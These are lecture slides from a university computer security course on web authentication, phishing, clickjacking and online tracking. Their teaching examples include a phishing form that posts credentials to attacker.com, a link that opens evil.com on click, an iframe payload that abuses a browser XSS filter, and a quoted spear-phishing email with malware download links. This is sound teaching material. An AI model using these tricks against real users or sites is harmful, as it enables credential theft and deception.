Web Security:
Authentication &
UI-based attacks

CS 161: Computer Security
Prof. Raluca Ada Popa

April 12, 2016

Credit: some slides are adapted from previous offerings of this course or from CS 241 of Prof. Dan Boneh
Authentication & Impersonation
Authentication

- Verifying someone really is who they say they claim they are
- Web server should authenticate client
- Client should authenticate web server
Impersonation

Pretending to be someone else

Attacker can try to:

- Impersonate client
- Impersonate server
How can a computer authenticate a user?

- “Something you know”
  - e.g., password, PIN
- “Something you have”
  - e.g., smartphone, ATM card, car key
- “Something you are”
  - e.g., fingerprint, iris scan, facial recognition
Recall: two-factor authentication

Authentication using two of:

- Something you know (account details or passwords)
- Something you have (tokens or mobile phones)
- Something you are (biometrics)
Example

Is this a good example of 2FA?

**Online banking:**
- Hardware token or card ("smth you have")
- Password ("smth you know")

**Mobile phone two-factor authentication:**
- Password ("smth you know")
- Code received via SMS ("smth you have")

**Email authentication:**
  - Password
  - Answer to security question

This is not two-factor authentication because both of the factors are something you know.
After authenticating..

- Session established
  - Session ID stored in cookie
  - Web server maintains list of active sessions (sessionID mapped to user info)
- Reauthentication happens on every http request automatically
  - Recall that every http request contains cookie
After authenticating...

Alice

sessionID = 3458904043
Must be unpredictable

Session hijacking attack:
• Attacker steals sessionID, e.g., using a packet sniffer
• Impersonates user

Active sessions:

<table>
<thead>
<tr>
<th>sessionID</th>
<th>name</th>
</tr>
</thead>
<tbody>
<tr>
<td>3458904043</td>
<td>Alice</td>
</tr>
<tr>
<td>5465246234</td>
<td>Bob</td>
</tr>
</tbody>
</table>
After authenticating...

Alice

sessionID = 3458904043

Must be unpredictable

Protect sessionID from packet sniffers:
• Send encrypted over HTTPS
• Use secure flag to ensure this

When should session/cookie expire?
• Often is more secure
• But less usable for user

Other flags?
• httponly to prevent scripts from getting to it

Active sessions:
3458904043 | Alice
5465246234 | Bob
After authentication ..

Alice

sessionID = 3458904043

Must be unpredictable

Active sessions:
3458904043 | Alice
5465246234 | Bob

What if attacker obtains old sessionID somehow?

• When user logs out, server must remove Alice’s entry from active sessions
• Server must not reuse the same session ID in the future
• Old sessionID will not be useful
Authenticating the server

What mechanism we learned about that helps prevent an attacker from impersonating a server?

- Digital certificates (assuming CA or relevant secret keys were not compromised)

But these only establish that a certain host a user visits has a certain public key.
What if the user visits a malicious host?
Phishing attack

- Attacker creates fake website that appears similar to a real one
- Tricks user to visit site (e.g. sending email)
- User inserts credentials and sensitive data which gets sent to attacker
- Web page then directs to real site or shows maintenance issues
Please fill in the correct information for the following category to verify your identity.

**Security Measures**

<table>
<thead>
<tr>
<th>Field</th>
<th>Input</th>
</tr>
</thead>
<tbody>
<tr>
<td>Email address:</td>
<td></td>
</tr>
<tr>
<td>PayPal Password:</td>
<td></td>
</tr>
<tr>
<td>Full Name:</td>
<td></td>
</tr>
<tr>
<td>SSN:</td>
<td></td>
</tr>
<tr>
<td>Card Type:</td>
<td></td>
</tr>
<tr>
<td>Card Number:</td>
<td></td>
</tr>
<tr>
<td>Expiration Date:</td>
<td></td>
</tr>
<tr>
<td>Card Verification Number (CVV2):</td>
<td></td>
</tr>
<tr>
<td>Street:</td>
<td></td>
</tr>
<tr>
<td>City:</td>
<td></td>
</tr>
<tr>
<td>Country:</td>
<td>United States</td>
</tr>
<tr>
<td>Zip Code:</td>
<td></td>
</tr>
<tr>
<td>Telephone:</td>
<td></td>
</tr>
<tr>
<td>Verified By Visa / Mastercard Securecode:</td>
<td></td>
</tr>
<tr>
<td>Date of Birth:</td>
<td></td>
</tr>
</tbody>
</table>

**Protect Your Account Info**

Make sure you never provide your password to fraudulent persons.

PayPal automatically encrypts your confidential information using the Secure Sockets Layer protocol (SSL) with an encryption key length of 128-bits (the highest level commercially available).

For more information on protecting yourself from fraud, please review our Security Tips at [http://www.paypal.com/securitytips](http://www.paypal.com/securitytips)

**Protect Your Password**

You should **never** give your PayPal password to anyone, including PayPal employees.

<form action="http://attacker.com/paypal.php" method="post" name=Date>
Welcome to eBay

Ready to bid and buy? Register here

Join the millions of people who are already a part of the eBay family. Don't worry, we have room for one more.

Register as an eBay Member and enjoy privileges including:

- Bid, buy and find bargains from all over the world
- Shop with confidence with PayPal Buyer Protection
- Connect with the eBay community and more!

Sign in to your account

Back for more fun? Sign in now to buy, bid and sell, or to manage your account.

User ID:  
I forgot my user ID

Password:  
I forgot my password

Keep me signed in for today. Don't check this box if you're at a public or shared computer.

Sign in

Having problems with signing in? Get help.

Protect your account: Create a unique password by using a combination of letters and numbers that are not
Please confirm your identity jbieber

Please answer security question below.

What is your mother’s maiden name?

Smith

Answer the secret question you provided.

What is your other eBay user ID or another’s member in your household?

NA

What email used to be associated with this account?

bieberlicious@hotmail.com

Have you ever sold something on eBay?

No
Thanks JBieber. Your identity has been confirmed.

Now you can pick up where you left off.

Save Profile
This listing (350121605127) has been removed, or this item is not available.

- Please check that you've entered the correct item number
- Listings that have ended 90 or more days ago will not be available for viewing.
Phishing prevention

User should check URL they are visiting!

http://ebay.attacker.com/

This listing (350121605127) has been removed, or this item is not available.

- Please check that you've entered the correct item number
- Listings that have ended 90 or more days ago will not be available for viewing.
Does not suffice to check what it says you click on

Now go to Google!  
http://google.com

Because it can be:
<a src="http://attacker.com">http://google.com</a>

Check the address bar!
URL obfuscation attack

- Attacker can choose similarly looking URL with a typo

  bankofamerca.com
  bankofthevvest.com
Homeograph attack

- Unicode characters from international alphabets may be used in URLs

  paypal.com (first p in Cyrillic)

- URL seems correct, but is not

Another example:
www.pnc.com\webapp\unsec\homepage.var.cn
"pnc.com\webapp\unsec\homepage" is one string
Phishing prevention

- User should check URL!
  - Carefully!
Targeted phishing that includes details that seemingly must mean it’s legitimate
To: vern@ee.lbl.gov
Subject: RE: Russian spear phishing attack against .mil and .gov employees
From: jeffreyc@cia.gov
Date: Wed, 10 Feb 2010 19:51:47 +0100

Russian spear phishing attack against .mil and .gov employees

A "relatively large" number of U.S. government and military employees are being taken in by a spear phishing attack which delivers a variant of the Zeus trojan. The email address is spoofed to appear to be from the NSA or InteLink concerning a report by the National Intelligence Council named the "2020 Project". It's purpose is to collect passwords and obtain remote access to the infected hosts.

Security Update for Windows 2000/XP/Vista/7 (KB823988)

About this download: A security issue has been identified that could allow an attacker to remotely compromise a computer running Microsoft Windows and gain complete control over it. You can help protect your computer by installing this update from Microsoft. After you install this item, you may have to restart your computer.

Download:

http://mv.net.md/update/update.zip

or

http://www.sentスペース.com/file/xwc1pi

Jeffrey Carr is the CEO of GreyLogic, the Founder and Principal Investigator of Project Grey Goose, and the author of "Inside Cyber Warfare". jeffreyc@greylogic.us
Sophisticated phishing

- Context-aware phishing – 10% users fooled
  - Spoofed email includes info related to a recent eBay transaction/listing/purchase
- Social phishing – 70% users fooled
  - Send spoofed email appearing to be from one of the victim’s friends (inferred using social networks)

West Point experiment

- Cadets received a spoofed email near end of semester: “There was a problem with your last grade report; click here to resolve it.” 80% clicked.
Why does phishing work?

- User mental model vs. reality
  - Browser security model too hard to understand!
- The easy path is insecure; the secure path takes extra effort
- Risks are rare
Authenticating the server

Users should:

- Check the address bar carefully. Or, load the site via a bookmark or by typing into the address bar.
- Guard against spam
- Do not click on links, attachments from unknown

Browsers also receive regular blacklists of phishing sites (but this is not immediate)

Mail servers try to eliminate phishing email
We need to authenticate both users and servers
- Phishing attack impersonates server
- A disciplined user can reduce occurrence of phishing attacks
UI-based attacks
Clickjacking attacks

- Exploitation where a user’s mouse click is used in a way that was not intended by the user
Talk to your partner

How can a user’s click be used in a way different than intended?
Simple example

<a
    onMouseDown=window.open(http://www.evil.com)
    href=http://www.google.com/>
Go to Google</a>

What does it do?
- Opens a window to the attacker site

Why include href to Google?
- Browser status bar shows URL when hovering over as a means of protection
Recall: Frames

- A frame is used to embed another document within the current HTML document
- Any site can frame another site
- The `<iframe>` tag specifies an inline frame
Example

HTML page

<iframe src="http://www.google.com/"></iframe>

UI rendering

framed page/inner page

framing page/outer page
Frames

- Outer page can set frame width, height
- But then, only framed site can draw in its own rectangle

Modularity

- Brings together code from different sources
What happens in this case?

Funny cats website

JavaScript

Bank of America

Secure Sign-In

secret  secret  Sign In

BankAmericard

$10
Frames: same-origin policy

- Frame inherits origin of its URL
- Same-origin policy: if frame and outer page have different origins, they cannot access each other
  - In particular, malicious JS on outer page cannot access resources of inner page
How to bypass same-origin policy for frames?

Clickjacking
Clickjacking using frames

Evil site frames good site
Evil site covers good site by putting dialogue boxes or other elements on top of parts of framed site to create a different effect
Inner site now looks different to user
Compromise visual integrity – target

- Hiding the target
- Partial overlays
UI Subversion: *Clickjacking*

An attack application (script) compromises the *context integrity* of another application’s *User Interface* when the user acts on the UI.

### Temporal Integrity
- Target\(_{\text{clicked}}\) = Target\(_{\text{checked}}\)
- Pointer\(_{\text{clicked}}\) = Pointer\(_{\text{checked}}\)

### Visual Integrity
- Target is visible
- Pointer is visible

### Context Integrity
- Consists of visual integrity + temporal integrity
Compromise visual integrity – target

- Hiding the target
- Partial overlays

Payment screen: You are about to pay $0.15 for Adblock Plus.
Compromise visual integrity – pointer: cursorjacking

- Can customize cursor!
  
  CSS example:
  ```css
  #mycursor {
  cursor: none;
  width: 97px;
  height: 137px;
  background: url("images/custom-cursor.jpg")
  }
  ```

- Javascript can keep updating cursor, can display shifted cursor

Fake cursor, but more visible

Real cursor
Compromise visual integrity – pointer: cursorjacking

Cursorjacking deceives a user by using a custom cursor image, where the pointer was displayed with an offset.

Fake, but more visible

real
Clickjacking to Access the User’s Webcam
Sitekeys

- Some sites use/used a secret image to identify site to user (e.g., Bank of America)
  - only good site should know the secret image
  - user should check that they receive the correct image

- What is it aimed to protect against?
  - phishing attacks

Invented by Berkeley grad student!

Not really used much now, not considered effective mostly because users ignore these images and don’t remember what the image was for each site
How can clickjacking subvert sitekeys?

- Phishing sites frame login page to get correct image to appear
- Overlay input box from outer frame at the same location as the password box for the inner frame
- User types password accessible to attacker now
How can we defend against clickjacking?

Discuss with a partner
Defenses

• **User confirmation**
  - Good site pops dialogue box with information on the action it is about to make and asks for user confirmation
  - Degrades user experience

• **UI randomization**
  - good site embeds dialogues at random locations so it is hard to overlay
  - Difficult & unreliable (e.g. multi-click attacks)
Defense 3: Framebusting

Web site includes code on a page that prevents other pages from framing it
What is framebusting?

Framebusting code is often made up of
• a conditional statement and
• a counter action

Common method:

```java
if (top != self) {
    top.location = self.location;
}
```
A Survey

Framebusting is very common at the Alexa Top 500 sites

<table>
<thead>
<tr>
<th>Sites</th>
<th>Framebusting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Top 10</td>
<td>60%</td>
</tr>
<tr>
<td>Top 100</td>
<td>37%</td>
</tr>
<tr>
<td>Top 500</td>
<td>14%</td>
</tr>
</tbody>
</table>

[global traffic rank of a website]

credit: Gustav Rydstedt
### Many framebusting methods

<table>
<thead>
<tr>
<th>Conditional Statements</th>
</tr>
</thead>
<tbody>
<tr>
<td>if (top != self)</td>
</tr>
<tr>
<td>if (top.location != self.location)</td>
</tr>
<tr>
<td>if (top.location != location)</td>
</tr>
<tr>
<td>if (parent.frames.length &gt; 0)</td>
</tr>
<tr>
<td>if (window != top)</td>
</tr>
<tr>
<td>if (window.top !== window.self)</td>
</tr>
<tr>
<td>if (window.self != window.top)</td>
</tr>
<tr>
<td>if (parent &amp;&amp; parent != window)</td>
</tr>
<tr>
<td>if (parent &amp;&amp; parent.frames &amp;&amp; parent.frames.length&gt;0)</td>
</tr>
<tr>
<td>if((self.parent &amp;&amp; !(self.parent===self)) &amp;&amp; (self.parent.frames.length!=0))</td>
</tr>
</tbody>
</table>
Many framebusting methods

<table>
<thead>
<tr>
<th>Counter-Action Statements</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>top.location = self.location</code></td>
</tr>
<tr>
<td><code>top.location.href = document.location.href</code></td>
</tr>
<tr>
<td><code>top.location.href = self.location.href</code></td>
</tr>
<tr>
<td><code>top.location.replace(self.location)</code></td>
</tr>
<tr>
<td><code>top.location.href = window.location.href</code></td>
</tr>
<tr>
<td><code>top.location.replace(document.location)</code></td>
</tr>
<tr>
<td><code>top.location.href = window.location.href</code></td>
</tr>
<tr>
<td><code>top.location.href = &quot;URL&quot;</code></td>
</tr>
<tr>
<td><code>document.write('')</code></td>
</tr>
<tr>
<td><code>top.location = location</code></td>
</tr>
<tr>
<td><code>top.location.replace(document.location)</code></td>
</tr>
<tr>
<td><code>top.location.replace('URL')</code></td>
</tr>
<tr>
<td><code>top.location.href = document.location</code></td>
</tr>
</tbody>
</table>
Most current framebusting can be defeated
Easy bugs

Goal: bank.com wants only bank.com’s sites to frame it

Bank runs this code to protect itself:

```javascript
if (top.location != location) {
    if (document.referrer &&
        document.referrer.indexOf("bank.com") == -1)
    {
        top.location.replace(document.location.href);
    }
}
```

Problem: http://badguy.com?q=bank.com
Abusing the XSS filter

IE8 reflective XSS filters:

On a browser request containing script:

```
http://www.victim.com?var=<script> alert('xss') ... </script>
```

Server responds

Browser checks

If `<script> alert('xss');` appears in rendered page, the IE8 filter will replace it with `<sc#pt> alert('xss') ... </sc#pt>`

How can attacker abuse this?
Abusing the XSS filter

Attacker figures out the framebusting code of victim site
(easy to do, just go to victim site in attacker’s browser and view the source code)

```html
<script> if(top.location != self.location) //framebust </script>
```

Framing page does:

```html
<iframe src="http://www.victim.com?var=<script> if (top ... " >
```

XSS filter modifies framebusting script to:

```html
<script> if(top.location != self.location)
```

XSS filter disables legitimate framebusting code!!
Defense: Ensuring visual integrity of pointer

- Remove cursor customization
  - Attack success: 43% -> 16%
Ensuring visual integrity of pointer

- Freeze screen outside of the target display area when the real pointer enters the target
  - Attack success: 43% -> 15%
  - Attack success (margin=10px): 12%
  - Attack success (margin=20px): 4% (baseline: 5%)

You will be redirected to the requested page in 60 seconds.
Ensuring visual integrity of pointer

- Lightbox effect around target on pointer entry
- Attack success (Freezing + lightbox): 2%
How about a temporal integrity attack example?
Temporal clickjacking

As you click on a button for an insensitive action, a button for a sensitive action appears overlayed and you click on it by mistake.
Enforcing temporal integrity

- UI delay: after visual changes on target or pointer, invalidate clicks for X ms
  - Attack success (delay=250ms): 47% -> 2% (2/91)
  - Attack success (delay=500ms): 1% (1/89)
Enforcing temporal integrity

- Pointer re-entry: after visual changes on target, invalidate clicks until pointer re-enters target
  - Attack success: 0% (0/88)
Other Forms of UI Sneakiness

• Users might find themselves living in *The Matrix* …
“Browser in Browser”

Apparent browser is just a fully interactive image generated by Javascript running in real browser! URL checking looks good!
Discussion

So, how do these lessons apply to desktop applications?

Compare the security model for desktop apps:

- Are desktop apps safer against these attacks?
- Are desktop apps riskier against these attacks?
Is there any hope?
Other defense: X-Frames-Options (IE8, Safari, FF3.7)

- Web server attaches HTTP header to response

- Two possible values: DENY and SAMEORIGIN
  - DENY: browser will not render page in framed context
  - SAMEORIGIN: browser will only render if top frame is same origin as page giving directive

- Good defense ... but poor adoption by sites (4 of top 10,000)

- Coarse policies: no whitelisting of partner sites, which should be allowed to frame our site
Summary

- Clickjacking is an attack on our perception of a page based on the UI

- Framebusting is tricky to get right
  - All currently deployed code can be defeated

- Use X-Frame-Options
Tracking on the Web
What does a site learn about you when you visit them?

Discuss with your neighbor
The sites you visit learn:

- The **URLs** you’re interested in
  - Google/Bing also learns *what you’re searching for*
- Your **IP address**
  - Thus, your service provider & geo-location
  - Can often link you to other activity including at other sites
- Your browser’s capabilities, which OS you run, which language you prefer
- Which URL you looked at that took you there
  - Via the HTTP “**Referer**” header

They also learn cookies!
They also learn cookies

Why is that harmful?
Let’s remove all of our cookies
Cool, no web site is tracking us …
We do a search on "private browsing"
Private Browsing - Browse the web without saving information about …
support.mozilla.org/.../private-browsing-browse-web-without-saving-inf... ▼
When using a shared computer, Private Browsing is great for viewing websites without saving stuff like cookies, temp files and a history of the pages you visit.

Firefox 20 Launches With Improved Private Browsing. New …
techcrunch.com/.../firefox-20-launches-with-per-tab-private-bro... ▼
by Frederic Lardinois - in 18,052 Google+ circles
Apr 2, 2013 – Firefox 20 is now available for download. The emphasis of today’s release is on Firefox’s private browsing mode, which now allows Firefox ...

Privacy mode - Wikipedia, the free encyclopedia
en.wikipedia.org/wiki/Privacy_mode ▼
Internet Explorer 8 in InPrivate mode. Google Chrome in Incognito mode. Privacy mode or “private browsing”, sometimes informally referred to as “porn mode”, ...

Firefox 20 improves private browsing, fixes three critical flaws | ZDNet
www.zdnet.com/firefox-20-improves-private-browsing-fixes-three-critic... ▼
Apr 3, 2013 – Mozilla has released the latest version of its Firefox web browser which features new enhancement to private browsing and fixes a number of ...

Private Browsing - Web Browsers - About.com
browsers.about.com › ... › Web Browsers › Web Browser Glossary › FAQs ▼
The methods for activating private browsing mode differ across browsers, operating systems, and device types. These step-by-step tutorials teach you how to ...
Google has stored a couple of cookies on our system.
Goodness knows what info they decided to put in the cookie.
But it lasts for months …
Private browsing

You can turn on a mode called private browsing on your browser

What is this? Does it protect you against tracking?
We click on the top result.

**Private Browsing - Browse the web without saving information about ...**

When using a shared computer, **Private Browsing** is great for viewing websites without saving stuff like cookies, temp files and a history of the pages you visit.
Note that this mode is privacy from your family, not from web sites!

Private Browsing - Browse the web without saving information about the sites you visit

As you browse the web, Firefox remembers lots of information for you: sites you've visited, files you've downloaded, and more. There may be times, however, when you don't want other users on your computer to see this information, such as when shopping for a birthday present.

Private Browsing allows you to browse the Internet without saving any information about which sites and pages you've visited. This article explains what information is not saved when in Private Browsing and gives you step-by-step instructions for using it.

Warning: Private Browsing doesn't make you anonymous on the Internet. Your Internet service provider, employer, or the sites themselves can still track what pages you visit. Private Browsing also doesn't protect you from keyloggers or malware that may be able to monitor your activity.
“Private Browsing allows you to browse the Internet without saving any information about which sites and pages you’ve visited.”

- deletes history of URL visits, passwords, cookies too
- Private Browsing maintains cookies for as long as the private browsing window is open. Once you quit the browser, it gets deleted
- So still tracked for a good while!
Ironically, we’ve gained a bunch of cookies in the process.
This one sticks around for two years.

Expires: April 17, 2018
How did **YouTube** enter the picture?

The following cookies are stored on your computer:

<table>
<thead>
<tr>
<th>Site</th>
<th>Cookie Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>google.com</td>
<td>PREF, NID</td>
</tr>
<tr>
<td>support.mozilla.org</td>
<td>_utma, _utmb, _utmz</td>
</tr>
<tr>
<td>youtube.com</td>
<td>VISITOR_INFO1_LIVE, YSC, PREF</td>
</tr>
</tbody>
</table>

Name: _utma
Content: 62528430.549021593.1398719659.1398719659.13998719659.
Domain: .support.mozilla.org
Path: /
Send For: Any type of connection
Expires: April 17, 2018
YouTube is remembering the version of Flash I’m running …

<table>
<thead>
<tr>
<th>Site</th>
<th>Cookie Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>google.com</td>
<td>PREF</td>
</tr>
<tr>
<td>google.com</td>
<td>NID</td>
</tr>
<tr>
<td>support.mozilla.org</td>
<td>__utma</td>
</tr>
<tr>
<td>support.mozilla.org</td>
<td>__utmb</td>
</tr>
<tr>
<td>support.mozilla.org</td>
<td>__utmc</td>
</tr>
<tr>
<td>support.mozilla.org</td>
<td>__utmz</td>
</tr>
<tr>
<td>youtube.com</td>
<td>VISITOR_INFO1_LIVE</td>
</tr>
<tr>
<td>youtube.com</td>
<td>YSC</td>
</tr>
<tr>
<td>youtube.com</td>
<td>PREF</td>
</tr>
</tbody>
</table>

**Cookies**
- Name: PREF
- Content: fv=13.0.0
- Domain: .youtube.com
- Path: /
- Send For: Any type of connection
- Expires: April 17, 2018
We navigate to The New York Times ...
**U.S. Announces More Sanctions Against Russia Over Ukraine**

By PETER BAKER and MARK LANDLER

The United States ordered travel bans and asset freezes for seven Russian officials, including two said to be in President Vladimir V. Putin’s inner circle, and froze assets for 17 firms.

284 Comments

- Mayor of Eastern Ukraine City Is Shot
- Putin Rival Takes Message to East Ukraine

**Egypt Sentences More Than 680 to Death**

The Muslim Brotherhood’s spiritual leader and hundreds of others were sentenced on charges of inciting or committing violence. Supporters, above, reacted to the verdict Monday.

130 Comments

**The Opinion Pages**

**EDITORIAL**

Political Executions in Egypt

It is clear from the sentencing of 680 people to death in a mass trial that the country’s judges have become a government tool.

- Editorial: Smartphones and the 4th Amendment
- Krugman: High Plains Moochers

**THE STONE**

What Does Buddhism Require?

The reality of rebirth may not be necessary. But believing in it probably is.

- Gessen: Salon of the Exiled
- Op-Ed: The Wire Next Time
- Op-Docs | ‘Verbatim: What Is a Photocopier?’

**Today’s Times Insider**

Behind the scenes of The New York Times

- Thinking of Wine as Food With Eric Asimov
- Introducing Times Insider

**MARKETS**

At close 04/28/2014

S&P 500 | Dow | Nasdaq
What a lot of yummy cookies!
Here are the ones from the website itself …

<table>
<thead>
<tr>
<th>Site</th>
<th>Cookie Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>nytimes.com</td>
<td>RMID</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>nyt5_disable</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyid</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyfs</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_cb_ls</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>nytncow3p</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag28172.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>nyt-m</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>nyt_recommend</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>adxcl</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>adxcs</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>tagx-l</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>tagx-s</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>tagx-p</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>WT_FPC</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyaud_page</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyvar_8765260</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyuss_8765260</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dycst</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dy_geo</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyaud_nchc</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyaud_sess</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_dyus_8765260</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>rsi_segs</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag27935.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag27728.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag15486.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag21418.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag22998.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag21233.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>kxtag28173.day</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_chartbeat?</td>
</tr>
<tr>
<td>nytimes.com</td>
<td>_chartbeat_uuniq</td>
</tr>
</tbody>
</table>

Name: WT_FPC
Content: id=281888c3-14a8-4805-ad44-ea4fb68e0535:lv=1398728093820:ss=1398727411934
Domain: .nytimes.com
Path: /
This one tracks the details of my system & browser

<table>
<thead>
<tr>
<th>Site</th>
<th>Cookie Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>nytimes.com</td>
<td>_dyus_8765260</td>
</tr>
<tr>
<td></td>
<td>rsi_segs</td>
</tr>
<tr>
<td></td>
<td>kxtag27935.day</td>
</tr>
<tr>
<td></td>
<td>kxtag27728.day</td>
</tr>
<tr>
<td></td>
<td>kxtag22998.day</td>
</tr>
<tr>
<td></td>
<td>kxtag15486.day</td>
</tr>
<tr>
<td></td>
<td>kxtag21418.day</td>
</tr>
<tr>
<td></td>
<td>kxtag28173.day</td>
</tr>
<tr>
<td></td>
<td>_chartbeat2</td>
</tr>
<tr>
<td></td>
<td>_chartbeat_uuniq</td>
</tr>
<tr>
<td></td>
<td>kxttech</td>
</tr>
<tr>
<td></td>
<td>kxsegs</td>
</tr>
<tr>
<td></td>
<td>krux_seas</td>
</tr>
</tbody>
</table>

Name: kxttech
Content: device%3DComputer%26manufacturer%3DApple%2520Inc.%26os%3DMac%2520OS%2520X%26browser%3DFirefox%25202
Host: www.nytimes.com
Path: /
doubleclick.net - who’s that? And how did it get there from visiting www.nytimes.com?

<table>
<thead>
<tr>
<th>Site</th>
<th>Cookie Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>dotomi.com</td>
<td></td>
</tr>
<tr>
<td>doubleclick.net</td>
<td>id</td>
</tr>
<tr>
<td>dynamicyield.com</td>
<td></td>
</tr>
<tr>
<td>google.com</td>
<td></td>
</tr>
<tr>
<td>imrworldwide.com</td>
<td></td>
</tr>
<tr>
<td>krxd.net</td>
<td></td>
</tr>
<tr>
<td>markets.on.nytimes.com</td>
<td></td>
</tr>
<tr>
<td>mediaplex.com</td>
<td></td>
</tr>
<tr>
<td>nytimes.com</td>
<td></td>
</tr>
<tr>
<td>revsci.net</td>
<td></td>
</tr>
<tr>
<td>scorecardresearch.com</td>
<td></td>
</tr>
<tr>
<td>srv.dynamicyield.com</td>
<td></td>
</tr>
<tr>
<td>support.mozilla.org</td>
<td></td>
</tr>
<tr>
<td>web2.checkm8.com</td>
<td></td>
</tr>
<tr>
<td>wto.nytimes.com</td>
<td></td>
</tr>
</tbody>
</table>
Third-Party Cookies

-how can a web site enable a third party to plant cookies in your browser & later retrieve them?

Include on the site’s page (for example):

- `<img src="http://doubleclick.net/ad.gif" width=1 height=1>`

Why would a site do that?

- Site has a business relationship w/ DoubleClick

Why can this track you?

- Now DoubleClick sees all of your activity that involves their web sites
- Because your browser dutifully sends them their cookies for any web page that has that img
- Identifier in cookie ties together activity as = YOU

* Owned by Google, by the way
Remember this 2-year Mozilla cookie?
Google Analytics

- Any web site can (anonymously) register with Google to instrument their site for analytics.
  - Gather information about who visits, what they do when they visit.
- To do so, site adds a small Javascript snippet that loads http://www.google-analytics.com.ga.js.
  - You can see sites that do this because they introduce a "__utma" cookie.
- Code ships off to Google information associated with your visit to the web site.
  - Shipped by fetching a GIF w/ values encoded in URL.
  - Web site can use it to analyze their ad “campaigns”.
  - Not a small amount of info …
Values Reportable via Google Analytics

- Affiliation
- Billing City
- Billing Country
- Billing Region
- Browser Lang.
- Complete URL
- Cookie Values
- Current Page
- Event Tracking
- Flash Version
- Grand Total
- Host Name
- Java-enabled
- Language Encoding
- Order ID
- Page Title
- Product Code
- Product Name
- Profile Number
- Repeat Campaign Visit
- Quantity
- Screen Color Depth
- Screen Resolution
- Shipping Cost
- Special Event
- Start Campaign Sess.
- Tax
- Tracking Code Version
- Unique GIF ID
- Unit Price
- User Defined Var
- Variations on an Item
Any scenario where browsers execute programs that manage persistent state can support tracking by cookies:

Such as .... Flash?
My browser had Flash cookies from 67 sites!

Sure, this is where you’d think to look to analyze what Flash cookies are stored on your machine.

Some Flash cookies “respawn” regular browser cookies that you previously deleted!
A new bug in Internet Explorer allows hackers to commandeer your computer.

If you're using Internet Explorer and click on the wrong link, a hacker could hijack your computer.
What does Facebook learn?

- Many pages include a Facebook “Like” button.
- What are the implications, for user tracking?

- Facebook can track you on every site that you visit that embeds such a button
What information does Facebook get when I visit a site with the Like button?

If you're logged into Facebook and visit a website with the Like button, your browser sends us information about your visit. Since the Like button is a little piece of Facebook embedded on another website, the browser is sending info about the request to load Facebook content on that page.

We record some of this info to help show you a personalized experience on that site and to improve our products. For example, when you go to a website with a Like button, we need to know who you are in order to show you what your Facebook friends have liked on that site. The data we receive includes your user ID, the website you're visiting, the date and time and other browser-related info.
Cookies form the core of how Internet advertising works today

- Without them, arguably you’d have to pay for content up front a lot more
  - (and payment would mean you’d lose anonymity anyway)
- A “better ad experience” is not necessarily bad
  - Ads that reflect your interests; not seeing repeated ads

But: ease of gathering so much data so easily ⇒ concern of losing control how it’s used
- Privacy concerns
- Large amounts of private data in one place
More Employers Screening Candidates via Social Networking Sites

Five tips for creating a positive online image
Rosemary Haefner, Vice President of Human Resources at CareerBuilder

When you interview, they Know What You’ve Posted

Gone are the days when all job seekers had to worry about where their résumés and cover letters. Today, those documents remain a staple of the job-search process, but they are joined by a growing phenomenon: social networking.

Forty-five percent of employers reported in a June 2009 CareerBuilder survey that they use social networking sites to screen potential employees, compared to only 22 percent of employers last year. Eleven percent of employers plan to start using social networking sites for the screening process. More than 2,600 hiring managers participated in the survey.
Why employers disregard candidates after screening online

Thirty-five percent of employers reported they have found content on social networking sites that caused them not to hire the candidate, including:

- Candidate posted provocative or inappropriate photographs or information -- 53 percent
- Candidate posted content about them drinking or using drugs -- 44 percent
- Candidate bad-mouthed their previous employer, co-workers or clients -- 35 percent
- Candidate showed poor communication skills -- 29 percent
- Candidate made discriminatory comments -- 26 percent
- Candidate lied about qualifications -- 24 percent
- Candidate shared confidential information from previous employer -- 20 percent
Cookies etc. form the core of how Internet advertising works today

- Without them, arguably you’d have to pay for content up front a lot more
  - (and payment would mean you’d lose anonymity anyway)
- A “better ad experience” is not necessarily bad
  - Ads that reflect your interests; not seeing repeated ads

But: ease of gathering so much data so easily ⇒ concern of losing control how it’s used

- Content shared with friends doesn’t just stay with friends ...
- You really don’t have a good sense of just what you’re giving away ...
My baby girl.... http://t.co/5qLfLV6

2 minutes ago via Twitter for Android

BritBangert
Brittany Bangert
Login to leave a comment
I Can Stalk U
Raising awareness about inadvertent information sharing

Who have we stalked recently?

ICanStalkU was able to stalk RangeLifeEnt at 51 Great Jones St New York NY
1 minute ago · Map Location · View Tweet · View Picture · Reply to RangeLifeEnt

